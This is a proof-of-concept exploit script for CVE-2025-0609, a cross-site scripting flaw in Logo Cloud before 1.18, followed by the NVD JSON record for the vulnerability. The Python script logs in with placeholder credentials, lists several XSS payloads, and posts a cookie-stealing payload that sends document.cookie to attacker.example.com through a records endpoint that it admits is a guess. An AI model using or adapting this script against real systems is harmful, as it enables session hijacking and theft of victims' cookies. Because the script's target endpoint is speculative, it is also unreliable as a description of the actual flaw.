CVE-2025-0609

# CVE-2025-0609 - Logo Cloud XSS Proof of Concept # Vulnerability: Improper Neutralization of Input During Web Page Generation # Affected: Logo Cloud < 1.18 import requests TARGET_URL = "https://target-logo-cloud.example.com" # Attacker needs high-privilege credentials (PR:H) USERNAME = "[email protected]" PASSWORD = "P@ssw0rd!" # Login session session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/api/login", data=login_payload) # XSS payload - injected into a vulnerable input field # The application fails to sanitize this input before rendering xss_payload = '<script>alert("XSS-CVE-2025-0609");</script>' # Alternative payloads for different contexts payloads = { "basic": '<script>alert(document.cookie)</script>', "img_onerror": '<img src=x onerror=alert("XSS")>', "svg_onload": '<svg onload=alert("XSS")>', "cookie_stealer": '<script>fetch("https://attacker.example.com/steal?c="+document.cookie)</script>' } # Submit the malicious payload through a vulnerable endpoint # (exact endpoint depends on the specific vulnerable feature in Logo Cloud) inject_payload = { "field_name": "description", # or other vulnerable input field "content": payloads["cookie_stealer"] } response = session.post( f"{TARGET_URL}/api/v1/records", json=inject_payload ) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[+] When a victim visits the page, the script will execute") else: print(f"[-] Injection failed: {response.status_code}")

{"cve": {"id": "CVE-2025-0609", "sourceIdentifier": "[email protected]", "published": "2025-10-06T10:15:33.867", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Logo Software Inc. Logo Cloud allows Cross-Site Scripting (XSS).This issue affects Logo Cloud: before 1.18."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0318", "source": "[email protected]"}]}}